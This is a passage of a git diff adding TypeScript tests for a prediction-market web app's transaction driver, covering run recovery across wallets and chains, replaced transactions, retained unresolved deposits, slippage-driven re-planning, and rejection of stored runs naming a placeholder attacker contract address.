signRequests: FlowTx[]; readonly receiptsAsked: Hash[] } { + const signRequests: FlowTx[] = []; + const receiptsAsked: Hash[] = []; + const receipt = (hash: Hash): TransactionReceipt => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n }) as TransactionReceipt; + + return { + signRequests, + receiptsAsked, + sendTransaction: (tx) => { + signRequests.push(tx); + return Promise.resolve(`0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => { + receiptsAsked.push(hash); + return Promise.resolve(receipt(hash)); + }, + isKnown: () => Promise.resolve(true), + }; +} + +const FLOW_ID = "predict-session-7"; + +const pendingDeposit: StepSummary[] = [ + { stepId: STEP_ID.createExecutor, label: "Set up your trade wallet", outcome: { status: "skipped" } }, + { stepId: STEP_ID.deposit, label: "Add money to your trade wallet", outcome: { status: "pending" } }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, +]; + +const submittedDeposit: StepSummary[] = [ + { stepId: STEP_ID.createExecutor, label: "Set up your trade wallet", outcome: { status: "skipped" } }, + { + stepId: STEP_ID.deposit, + label: "Add money to your trade wallet", + outcome: { status: "submitted", hash: DEPOSIT_HASH }, + }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, +]; + +const savedSnapshot = (): PredictSnapshot => snapshot({ deposit: WAD, collateralIn: WAD, collateralBefore: 0n }); + +/** A paused run saved while wallet A (the fixtures' owner) was connected on chain 100. */ +function savedRunOfA(steps: StepSummary[], savedCtx: PredictCtx = ctx()): FlowRunStore { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "paused", + reason: "rejected", + ctx: savedCtx, + snapshot: savedSnapshot(), + steps, + }); + return store; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function recover( + store: FlowRunStore, + current: PredictCtx, + sessionOptions?: () => PredictOption[], + receipt?: (hash: Hash) => Promise, +) { + const gateway = { ...fakeGateway(), ...(receipt ? { getReceipt: receipt } : {}) }; + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true, collateral: WAD }), + quoter: fakeQuoter(), + store, + flowId: FLOW_ID, + ctx: () => current, + snapshot: savedSnapshot, + sessionOptions, + }); + drivers.push(driver); + return { gateway, driver }; +} + +/** A recovered run reads as halted until it resumes, so only a reason, a prompt or the end counts as settled. */ +async function settle(driver: PredictDriver, gateway: { signRequests: FlowTx[] }) { + await vi.waitFor(() => { + const progress = driver.getProgress(); + expect(progress.stage === "complete" || progress.failure !== undefined || gateway.signRequests.length > 0).toBe( + true, + ); + }); +} + +/** What the popup says about a halted run. */ +const message = (progress: PredictProgress) => + predictSteps({ wallet: null, toAdd: 0n, symbol: "sDAI", decimals: 18, progress }).failure; + +/** Reasons whose copy says nothing about which wallet or network to use. */ +const GENERIC: PredictFailureReason[] = [ + "rejected", + "cancelled", + "reverted", + "rpc", + "unknown", + "no-route", + "quote", + "balance", + "deposit-unconfirmed", +]; + +const withReason = (progress: PredictProgress, reason: PredictFailureReason): PredictProgress => ({ + ...progress, + failure: { reason, retryable: false }, +}); + +const mismatches: Array<[string, PredictCtx]> = [ + ["a different wallet", ctx({ owner: OWNER_B, executor: EXECUTOR_B })], + ["a different wallet that derives the same trade wallet address", ctx({ owner: OWNER_B })], + ["the same wallet on a different chain", ctx({ chainId: 10200 })], +]; + +const savedStates: Array<[string, StepSummary[]]> = [ + ["a deposit not yet signed", pendingDeposit], + ["a deposit submitted and mined", submittedDeposit], +]; + +describe("createPredictRun recovering a run saved by wallet A on chain 100", () => { + describe.each(mismatches)("while %s is connected", (_, current) => { + it.each(savedStates)("never prompts for a transaction, with %s", async (__, steps) => { + const store = savedRunOfA(steps); + const { gateway, driver } = recover(store, current); + + driver.start(); + await settle(driver, gateway); + + expect(gateway.signRequests).toEqual([]); + + // Asking again with the same wallet connected still prompts for nothing. + driver.retry(); + driver.start(); + await new Promise((resolve) => setTimeout(resolve, 20)); + expect(gateway.signRequests).toEqual([]); + }); + + it("halts with a message that tells the visitor which wallet or network to use", async () => { + const store = savedRunOfA(pendingDeposit); + const { gateway, driver } = recover(store, current); + + driver.start(); + await settle(driver, gateway); + + const progress = driver.getProgress(); + expect(progress.stage).toBe("halted"); + expect(progress.failure).toBeDefined(); + + const shown = message(progress); + expect(shown).toBeDefined(); + for (const reason of GENERIC) expect(shown).not.toBe(message(withReason(progress, reason))); + }); + + it.each(savedStates)("keeps A's saved run, with %s, for when A comes back", async (__, steps) => { + const store = savedRunOfA(steps); + const { gateway, driver } = recover(store, current); + + driver.start(); + await settle(driver, gateway); + + const kept = store.load(FLOW_ID); + expect(kept).not.toBeNull(); + expect(kept!.ctx).toEqual(ctx()); + expect(kept!.steps.find((step) => step.stepId === STEP_ID.deposit)?.outcome).toEqual( + steps.find((step) => step.stepId === STEP_ID.deposit)?.outcome, + ); + }); + }); + + it("with A connected on chain 100, reconciles the submitted deposit and finishes without signing it again", async () => { + const store = savedRunOfA(submittedDeposit); + const { gateway, driver } = recover(store, ctx()); + + driver.start(); + // a recovered run waits for the owner to review it before anything is signed + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + driver.resume(); + await vi.waitFor(() => { + const progress = driver.getProgress(); + expect(progress.stage === "complete" || progress.failure !== undefined).toBe(true); + }); + + expect(driver.getProgress().stage).toBe("complete"); + expect(gateway.receiptsAsked).toContain(DEPOSIT_HASH); + expect(gateway.signRequests.filter((tx) => tx.to === addresses.collateral)).toEqual([]); + expect(gateway.signRequests.length).toBeGreaterThan(0); + expect(gateway.signRequests.every((tx) => tx.to === addresses.executor)).toBe(true); + }); +}); + +const ATTACKER = "0x00000000000000000000000000000000000000ad" as Address; +const live = ctx(); + +/** A run planted under A's key on chain 100 that names another contract than the app does. */ +const planted: Array<[string, PredictCtx, PredictCtx]> = [ + ["trade wallet", ctx({ executor: ATTACKER }), live], + ["sDAI adapter", ctx({ sDaiAdapter: ATTACKER }), live], + ["collateral", ctx({ collateral: ATTACKER }), live], + ["Seer router", ctx({ router: ATTACKER }), live], + ["factory", ctx({ factory: ATTACKER }), live], + ["parent market", ctx({ parentMarket: ATTACKER }), live], + ["credits token", ctx({ credits: { ...live.credits!, token: ATTACKER } }), live], + ["credits manager", ctx({ credits: { ...live.credits!, manager: ATTACKER } }), live], + ["WXDAI", ctx({ credits: { ...live.credits!, wxdai: ATTACKER } }), live], + ["credits swap router", ctx({ credits: { ...live.credits!, swaprRouter: ATTACKER } }), live], + ["credits route, where the app has none", live, ctx({ credits: null })], + ["sDAI adapter, where the app has none", live, ctx({ sDaiAdapter: null })], +]; + +describe("createPredictRun recovering a stored run whose contracts differ from the app's", () => { + it.each(planted)("halts with nothing signed when the stored %s differs", async (_, stored, current) => { + const store = savedRunOfA(pendingDeposit, stored); + const { gateway, driver } = recover(store, current); + + driver.start(); + await vi.waitFor(() => expect(["halted", "review"]).toContain(driver.getProgress().stage)); + driver.resume(); + await new Promise((resolve) => setTimeout(resolve, 20)); + + expect(gateway.signRequests).toEqual([]); + expect(driver.getProgress().stage).toBe("halted"); + }); + + it("forgets such a run once the halted popup is reset, as it can never be continued", async () => { + const store = savedRunOfA(pendingDeposit, ctx({ executor: ATTACKER })); + const { gateway, driver } = recover(store, live); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + driver.reset(); + + expect(store.load(FLOW_ID)).toBeNull(); + expect(gateway.signRequests).toEqual([]); + }); + + it("keeps such a run through reset while its broadcast hash has no receipt", async () => { + const store = savedRunOfA(submittedDeposit, ctx({ executor: ATTACKER })); + const { driver } = recover(store, live, undefined, () => Promise.resolve(null)); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + driver.reset(); + + expect(store.load(FLOW_ID)).not.toBeNull(); + }); + + it.each(["success", "reverted"] as const)( + "forgets its broadcast hash once the receipt reads %s, so reset and the card's Discard forget the run", + async (status) => { + const store = savedRunOfA(submittedDeposit, ctx({ executor: ATTACKER })); + const asked: Hash[] = []; + const { gateway, driver } = recover(store, live, undefined, (hash) => { + asked.push(hash); + return Promise.resolve({ transactionHash: hash, status, blockNumber: 19_000_000n } as TransactionReceipt); + }); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("unknown")); + expect(asked).toEqual([DEPOSIT_HASH]); + const stored = store.load(FLOW_ID)?.steps ?? []; + expect(stored.some((step) => step.outcome.status === "submitted")).toBe(false); + driver.reset(); + + expect(store.load(FLOW_ID)).toBeNull(); + expect(gateway.signRequests).toEqual([]); + }, + ); + + it("recovers a stored run whose addresses differ from the app's only in letter case", async () => { + const upper = (address: Address) => address.toUpperCase().replace("0X", "0x") as Address; + const store = savedRunOfA( + pendingDeposit, + ctx({ owner: upper(addresses.owner), credits: { ...live.credits!, manager: upper(addresses.manager) } }), + ); + const { gateway, driver } = recover(store, live); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(gateway.signRequests).toEqual([]); + }); +}); + +/** A run planted under A's key with the app's contracts, whose first option names `stored` instead. */ +function plantedOptions(stored: PredictOption): FlowRunStore { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "paused", + reason: "rejected", + ctx: ctx(), + snapshot: { ...savedSnapshot(), options: [stored] }, + steps: pendingDeposit, + }); + return store; +} + +describe("createPredictRun recovering a stored run whose options differ from the session's", () => { + const session = () => [option(1), option(2)]; + + it.each([ + ["DOWN token", { ...option(1), downToken: ATTACKER }], + ["UP token", { ...option(1), upToken: ATTACKER }], + ["underlying", { ...option(1), underlying: ATTACKER }], + ["INVALID token", { ...option(1), invalidToken: ATTACKER }], + ["market, which the session does not have", { ...option(1), childMarket: ATTACKER }], + ])("halts as unknown with nothing signed when the stored %s differs", async (_, stored) => { + const store = plantedOptions(stored); + const { gateway, driver } = recover(store, live, session); + + driver.start(); + await vi.waitFor(() => expect(["halted", "review"]).toContain(driver.getProgress().stage)); + driver.resume(); + await new Promise((resolve) => setTimeout(resolve, 20)); + + expect(gateway.signRequests).toEqual([]); + expect(driver.getProgress().failure?.reason).toBe("unknown"); + }); + + it("recovers a stored option whose addresses differ from the session's only in letter case", async () => { + const upper = (address: Address) => address.toUpperCase().replace("0X", "0x") as Address; + const store = plantedOptions({ ...option(1), downToken: upper(option(1).downToken) }); + const { gateway, driver } = recover(store, live, session); + + driver.start(); + + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(gateway.signRequests).toEqual([]); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.replacementRecovery.test.ts b/apps/web/src/features/predict/run/__tests__/driver.replacementRecovery.test.ts new file mode 100644 index 00000000..5a2fd1d8 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.replacementRecovery.test.ts @@ -0,0 +1,102 @@ +import { + createFlowRunStore, + createMemoryStorage, + type FlowRunStore, + type FlowTx, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import { type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + chainState, + ctx, + fakeQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "@/features/predict/flow/__tests__/support/fakes"; +import type { PredictReader, PredictSnapshot } from "@/features/predict/flow/types"; +import { createPredictRun } from "@/features/predict/run/driver"; +import type { PredictDriver } from "@/features/predict/run/types"; + +const hash = (n: number) => `0x${n.toString(16).padStart(64, "0")}` as Hash; +const receipt = (hash: Hash, status: "success" | "reverted" = "success") => + ({ transactionHash: hash, status, blockNumber: 20n, logs: [] }) as unknown as TransactionReceipt; +function deferred() { + let resolve!: (value: T) => void; + const promise = new Promise((r) => { + resolve = r; + }); + return { promise, resolve }; +} +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); +function run(args: { + gateway: TxGateway; + reader: PredictReader; + store: FlowRunStore; + flowId: string; + request?: PredictSnapshot; +}) { + const driver = createPredictRun({ + ...args, + ctx: () => ctx(), + quoter: fakeQuoter(), + snapshot: () => args.request ?? snapshot({ options: [option(1), option(2)] }), + unansweredSend: { waitMs: 0, pollMs: 1 }, + }); + drivers.push(driver); + return driver; +} +describe("replacement recovery at durable-write boundaries", () => { + it.each(["cancelled", "replaced"] as const)( + "does not count a %s second batch as successful after reload", + async (reason) => { + const flowId = "replacement-reload"; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const sends: FlowTx[] = []; + const replacementPersisted = deferred(); + const cancelHash = hash(99); + const gateway: TxGateway = { + sendTransaction: async (tx) => { + sends.push(tx); + return hash(sends.length); + }, + waitForReceipt: ({ hash: target, onReplaced }) => { + if (target === hash(3)) { + // A mined self-transfer at the batch's nonce. The receipt wait has announced + // its replacement, but the original tab dies before settle() handles it. + onReplaced?.({ reason, hash: cancelHash }); + replacementPersisted.resolve(); + return new Promise(() => {}); + } + return Promise.resolve(receipt(target)); + }, + getReceipt: async (target) => receipt(target), + isKnown: async () => true, + }; + const reader = fakeReader({ + deployed: true, + blockGasLimit: gasLimitFor(1), + state: () => chainState({ underlying: WAD }), + }); + const first = run({ gateway, reader, store, flowId }); + first.start(); + await replacementPersisted.promise; + expect(store.load(flowId)?.steps.at(-1)?.outcome).toMatchObject({ status: "submitted", hash: cancelHash }); + first.dispose(); + + const next = run({ gateway, reader, store, flowId }); + next.recover(); + await vi.waitFor(() => expect(next.getProgress().failure?.reason).toBe("cancelled")); + expect(sends).toHaveLength(3); + expect(next.getProgress().steps.at(-1)?.state).not.toBe("success"); + expect(store.load(flowId)).not.toBeNull(); + }, + ); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.retainsUnresolved.test.ts b/apps/web/src/features/predict/run/__tests__/driver.retainsUnresolved.test.ts new file mode 100644 index 00000000..ece8bb4b --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.retainsUnresolved.test.ts @@ -0,0 +1,263 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { decodeFunctionData, erc20Abi, type Hash, type PublicClient, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + fakeReader, + gasLimitFor, + landedTx, + option, + snapshot, + WAD, +} from "@/features/predict/flow/__tests__/support/fakes"; +import type { PredictCtx, PredictSnapshot, SentTx } from "@/features/predict/flow/types"; +import { createPredictRun } from "@/features/predict/run/driver"; +import { createPredictReader } from "@/features/predict/run/reader"; +import type { PredictDriver } from "@/features/predict/run/types"; + +vi.mock("@/features/predict/api/getOptionPools", () => ({ fetchSessionPools: vi.fn(), optionPoolRefs: vi.fn() })); + +const hash = (n: number) => `0x${n.toString(16).padStart(64, "0")}` as Hash; +const receipt = (target: Hash, blockNumber = 20n) => + ({ transactionHash: target, status: "success", blockNumber, logs: [] }) as unknown as TransactionReceipt; +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); +const other: FlowTx = { to: addresses.owner, data: "0x", value: 0n }; + +describe("unresolved send retention", () => { + it("retains a second batch journal when the nonce search is exhausted", async () => { + const flowId = "retention-eight-nonces"; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const sends: FlowTx[] = []; + const ledger: Array<{ tx: FlowTx; hash: Hash; block?: bigint }> = []; + const inspected: number[] = []; + let head = 1n; + const append = (tx: FlowTx, mined: boolean) => { + const entry = { tx, hash: hash(ledger.length + 1), ...(mined ? { block: ++head } : {}) }; + ledger.push(entry); + return entry.hash; + }; + const client = { + getTransactionCount: ({ blockTag, blockNumber }: { blockTag?: string; blockNumber?: bigint }) => + Promise.resolve( + blockTag === "pending" + ? ledger.length + : ledger.filter((tx) => tx.block !== undefined && tx.block <= (blockNumber ?? head)).length, + ), + getBlockNumber: () => Promise.resolve(head), + getBlock: ({ blockNumber }: { blockNumber: bigint }) => + Promise.resolve({ + number: blockNumber, + transactions: ledger.flatMap((entry, nonce) => + entry.block === blockNumber + ? [ + { + from: addresses.owner, + nonce, + hash: entry.hash, + to: entry.tx.to, + value: entry.tx.value ?? 0n, + input: entry.tx.data ?? "0x", + }, + ] + : [], + ), + }), + getTransactionReceipt: ({ hash: target }: { hash: Hash }) => Promise.resolve(receipt(target)), + } as unknown as PublicClient; + const nodes = createPredictReader({ client, sessionId: "1", collateral: addresses.collateral }); + const gateway: TxGateway = { + sendTransaction: async (tx) => { + sends.push(tx); + if (sends.length === 3) { + // The second batch's prompt stays open while the same owner uses another dapp. + for (let i = 0; i < 8; i++) append(other, true); + append(tx, false); + throw new Error("Transaction failed", { + cause: Object.assign(new Error("Internal JSON-RPC error"), { code: -32603 }), + }); + } + if (sends.length === 4) { + return append(tx, false); + } + return append(tx, true); + }, + waitForReceipt: async ({ hash: target }) => + ledger.find((entry) => entry.hash === target)?.block === undefined ? new Promise(() => {}) : receipt(target), + getReceipt: async (target) => receipt(target), + isKnown: async () => true, + }; + const reader = { + ...fakeReader({ deployed: true, blockGasLimit: gasLimitFor(1), state: () => chainState({ underlying: WAD }) }), + latestBlock: async () => head, + nextNonce: nodes.nextNonce, + hasPending: nodes.hasPending, + sentWithNonce: async (args: Parameters[0]) => { + inspected.push(args.nonce); + return nodes.sentWithNonce(args); + }, + landedSince: async () => ledger.filter((tx) => tx.block !== undefined).map(({ tx }) => landedTx(tx)), + }; + const driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + flowId, + store, + ctx: () => ctx(), + snapshot: () => snapshot({ options: [option(1), option(2)] }), + unansweredSend: { waitMs: 0, pollMs: 1 }, + }); + drivers.push(driver); + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(inspected).toEqual([2, 3, 4, 5, 6, 7, 8, 9]); + expect(await nodes.sentWithNonce({ owner: addresses.owner, nonce: 10, fromBlock: 3n })).toEqual({ + status: "pending", + }); + expect(await reader.hasPending(addresses.owner)).toBe(true); + expect(store.load(flowId)?.snapshot.unanswered?.["predict-2"]).toBeDefined(); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("pending")); + expect(sends).toHaveLength(3); + expect(ledger[10]?.block).toBeUndefined(); + expect(store.load(flowId)).not.toBeNull(); + ledger[10]!.block = ++head; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(sends).toHaveLength(3); + expect(inspected).toContain(10); + }); + + it("reconciles Discard without erasing an unresolved deposit", async () => { + const flowId = "retention-discard-live-deposit"; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const sends: FlowTx[] = []; + let surfaced = false; + let mined = false; + const nonceReads = vi.fn(async (): Promise => + mined + ? { status: "mined", hash: hash(1), success: true, ...landedTx(sends[0]!) } + : { status: surfaced ? "pending" : "none" }, + ); + const gateway: TxGateway = { + sendTransaction: async (tx) => { + sends.push(tx); + return hash(sends.length); + }, + waitForReceipt: async ({ hash: target }) => { + if (mined) return receipt(target); + throw new Error("unavailable", { cause: "opaque" }); + }, + getReceipt: vi.fn(async (target) => (mined ? receipt(target) : null)), + isKnown: vi.fn(async () => surfaced), + }; + const driver = createPredictRun({ + gateway, + reader: { + ...fakeReader({ deployed: true }), + sentWithNonce: nonceReads, + hasPending: async () => surfaced && !mined, + collateralBalance: async () => (mined ? WAD : 0n), + }, + quoter: fakeQuoter(), + flowId, + store, + ctx: () => ctx(), + snapshot: () => snapshot(), + }); + drivers.push(driver); + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBe(hash(1))); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("unseen")); + surfaced = true; + expect(await nonceReads()).toEqual({ status: "pending" }); + const reads = vi.mocked(gateway.getReceipt).mock.calls.length; + driver.discard(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("pending")); + expect(vi.mocked(gateway.getReceipt).mock.calls.length).toBeGreaterThan(reads); + expect(store.load(flowId)).not.toBeNull(); + expect(driver.getProgress().pendingHash).toBe(hash(1)); + expect(sends).toHaveLength(1); + mined = true; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(sends.filter((tx) => tx.to === addresses.collateral)).toHaveLength(1); + }); + + it("retains an unresolved deposit prompt after session close", async () => { + const flowId = "retention-close-live-deposit"; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const closesAt = 1_800_000_000; + let timestamp = BigInt(closesAt - 5); + let paid = 0n; + let approve: (() => void) | undefined; + const sends: FlowTx[] = []; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + return new Promise((resolve) => { + approve = () => { + const transfer = decodeFunctionData({ abi: erc20Abi, data: tx.data! }); + expect(transfer.functionName).toBe("transfer"); + if (transfer.functionName !== "transfer") throw new Error("not a transfer"); + expect(transfer.args[0]).toBe(addresses.executor); + paid += transfer.args[1]; + resolve(hash(1)); + }; + }); + }, + waitForReceipt: async ({ hash: target }) => receipt(target), + getReceipt: async () => null, + isKnown: async () => false, + }; + const reader = { + ...fakeReader({ deployed: true }), + latestTimestamp: async () => timestamp, + collateralBalance: async () => paid, + }; + const open = () => { + const driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + flowId, + store, + ctx: () => ctx(), + snapshot: () => snapshot(), + closesAt, + now: () => Number(timestamp) * 1000, + }); + drivers.push(driver); + return driver; + }; + const first = open(); + first.start(); + await vi.waitFor(() => expect(approve).toBeDefined()); + expect(store.load(flowId)?.snapshot.unanswered?.deposit).toBeDefined(); + first.dispose(); + timestamp = BigInt(closesAt + 1); + const second = open(); + second.recover(); + await vi.waitFor(() => expect(second.getProgress().failure?.reason).toBe("held")); + expect(second.getProgress().unanswered).toBe(true); + second.reset(); + expect(store.load(flowId)).not.toBeNull(); + approve!(); + await Promise.resolve(); + expect(sends).toHaveLength(1); + expect(sends[0]?.to).toBe(addresses.collateral); + expect(paid).toBe(WAD); + const third = open(); + third.recover(); + await vi.waitFor(() => expect(third.getProgress().failure?.reason).toBe("held")); + expect(store.load(flowId)).not.toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.retrySlippage.test.ts b/apps/web/src/features/predict/run/__tests__/driver.retrySlippage.test.ts new file mode 100644 index 00000000..c7c256fb --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.retrySlippage.test.ts @@ -0,0 +1,239 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + chainState, + ctx, + fakeCreditsQuoter, + poolQuoter, + fakeReader, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import { optionsPerBatch, previewCreditsSwap } from "../../flow/plan"; +import type { PredictCtx, PredictSlippage, PredictSnapshot } from "../../flow/types"; +import { CREDITS_SLIPPAGE_BPS, SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { previewTrades, type PreviewTrades } from "../../utils/plan"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const OPTION = option(1); +const KEY = OPTION.childMarket.toLowerCase(); +const STATE = chainState(); +const CREDITS = 2n * WAD; +const AUTO: PredictSlippage = { tradeBps: SLIPPAGE_BPS, creditsBps: CREDITS_SLIPPAGE_BPS }; + +const planOn = (split: bigint, slippageBps: number): PreviewTrades => + previewTrades( + { + pools: STATE.pools, + targetPriceWad: OPTION.targetPriceWad, + held: STATE.held, + splitAmount: STATE.underlying + split, + }, + slippageBps, + )!; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** + * Every send lands but executor batch `revertNth`, which reverts; once batch 1 lands the chain holds its split. + * `settings` is what the popup's settings say now. + */ +function setup( + request: PredictSnapshot, + opts: { revertNth?: number; store?: ReturnType; blockGasLimit?: bigint } = {}, +) { + const revertNth = opts.revertNth ?? 1; + let split = false; + let settings = request.slippage; + const sent: FlowTx[] = []; + const reverted = new Set(); + const receipt = (hash: Hash) => + ({ + transactionHash: hash, + status: reverted.has(hash) ? "reverted" : "success", + blockNumber: 2n, + logs: [], + }) as unknown as TransactionReceipt; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sent.push(tx); + const hash = `0x${sent.length.toString(16).padStart(64, "0")}` as Hash; + if (tx.to === addresses.executor) { + const nth = sent.filter((each) => each.to === addresses.executor).length; + if (nth === revertNth) reverted.add(hash); + else if (nth === 1) split = true; + } + return Promise.resolve(hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + const state = () => (split ? chainState({ underlying: STATE.underlying + request.collateralIn }) : STATE); + const reader = fakeReader({ + deployed: true, + blockGasLimit: opts.blockGasLimit, + state, + credits: { [addresses.executor]: request.creditsToSpend }, + }); + const creditsQuoter = fakeCreditsQuoter({}); + const driver = createPredictRun({ + gateway, + reader, + quoter: poolQuoter(request.options, state), + creditsQuoter, + flowId: `retry-slippage-${drivers.length}`, + store: opts.store, + ctx: () => ctx(), + snapshot: () => ({ ...request, slippage: settings }), + slippage: () => settings, + }); + drivers.push(driver); + const preview = (creditsBps: number) => + previewCreditsSwap(ctx(), request.creditsToSpend, creditsBps, { reader, creditsQuoter }); + return { driver, sent, preview, setSettings: (next: PredictSlippage) => (settings = next) }; +} + +const stageIs = (driver: PredictDriver, stage: string) => + vi.waitFor(() => expect(driver.getProgress().stage).toBe(stage)); + +const sdaiRun = snapshot({ options: [OPTION], deposit: WAD, collateralIn: WAD, slippage: AUTO }); +const creditsRun = snapshot({ + options: [OPTION], + deposit: 0n, + collateralIn: 0n, + creditsToSpend: CREDITS, + slippage: AUTO, +}); + +describe("a retry after the slippage settings changed", () => { + it("re-plans the reverted batch at the new trade slippage and stops at moved before signing it", async () => { + const { driver, sent, setSettings } = setup(sdaiRun); + driver.start({ plans: { [KEY]: planOn(WAD, SLIPPAGE_BPS) } }); + await stageIs(driver, "halted"); + expect(driver.getProgress().failure?.reason).toBe("reverted"); + const signed = sent.length; + + setSettings({ ...AUTO, tradeBps: 1_000 }); + driver.retry(); + await stageIs(driver, "moved"); + + expect(driver.getProgress().moved?.plans[KEY]).toEqual(planOn(WAD, 1_000)); + expect(sent).toHaveLength(signed); + + driver.confirm(); + await stageIs(driver, "complete"); + expect(sent).toHaveLength(signed + 1); + }); + + it("retries straight on with the settings unchanged", async () => { + const { driver, sent } = setup(sdaiRun); + driver.start({ plans: { [KEY]: planOn(WAD, SLIPPAGE_BPS) } }); + await stageIs(driver, "halted"); + const signed = sent.length; + + driver.retry(); + await stageIs(driver, "complete"); + + expect(sent).toHaveLength(signed + 1); + }); + + it("quotes the credits swap again at the new credits slippage and stops at moved", async () => { + const { driver, sent, preview, setSettings } = setup(creditsRun); + const shown = await preview(CREDITS_SLIPPAGE_BPS); + driver.start({ plans: { [KEY]: planOn(shown.minted, SLIPPAGE_BPS) }, credits: shown }); + await stageIs(driver, "halted"); + const signed = sent.length; + + setSettings({ ...AUTO, creditsBps: 100 }); + driver.retry(); + await stageIs(driver, "moved"); + + expect(driver.getProgress().moved?.credits).toEqual(await preview(100)); + expect(sent).toHaveLength(signed); + }); +}); + +/** The smallest block gas limit whose batches hold one option each, without a credits leg. */ +function onePerBatch(): bigint { + for (let gas = 1_000_000n; gas < 100_000_000n; gas += 100_000n) if (optionsPerBatch(gas, false) === 1) return gas; + throw new Error("No gas limit gives one option per batch."); +} + +describe("a retry's new slippage before the visitor confirms it", () => { + it("leaves the stored run at the confirmed slippage while the run waits at moved", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const { driver, setSettings } = setup(sdaiRun, { store }); + driver.start({ plans: { [KEY]: planOn(WAD, SLIPPAGE_BPS) } }); + await stageIs(driver, "halted"); + + setSettings({ ...AUTO, tradeBps: 5_000 }); + driver.retry(); + await stageIs(driver, "moved"); + driver.dispose(); + + expect(store.load("retry-slippage-0")?.snapshot.slippage).toEqual(AUTO); + }); + + it("stores the new slippage once the visitor confirms it", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const { driver, setSettings } = setup(sdaiRun, { store }); + driver.start({ plans: { [KEY]: planOn(WAD, SLIPPAGE_BPS) } }); + await stageIs(driver, "halted"); + + setSettings({ ...AUTO, tradeBps: 5_000 }); + driver.retry(); + await stageIs(driver, "moved"); + expect(driver.getProgress().moved?.bySlippage).toBe(true); + driver.confirm(); + await vi.waitFor(() => + expect(store.load("retry-slippage-0")?.snapshot.slippage.tradeBps).toBe(5_000), + ); + }); + + it("re-plans every batch still to land, so a partly landed run stops at moved once", async () => { + const options = [option(1), option(2), option(3)]; + const request = snapshot({ options, deposit: WAD, collateralIn: WAD, slippage: AUTO }); + const { driver, sent, setSettings } = setup(request, { revertNth: 2, blockGasLimit: onePerBatch() }); + const plans = Object.fromEntries( + options.map((each) => [each.childMarket.toLowerCase(), planOn(WAD, SLIPPAGE_BPS)]), + ); + driver.start({ plans }); + await stageIs(driver, "halted"); + expect(driver.getProgress().batchesDone).toBe(1); + + setSettings({ ...AUTO, tradeBps: 1_000 }); + driver.retry(); + await stageIs(driver, "moved"); + expect(driver.getProgress().moved?.markets).toHaveLength(2); + const signed = sent.length; + + driver.confirm(); + await vi.waitFor(() => expect(["complete", "moved"]).toContain(driver.getProgress().stage)); + 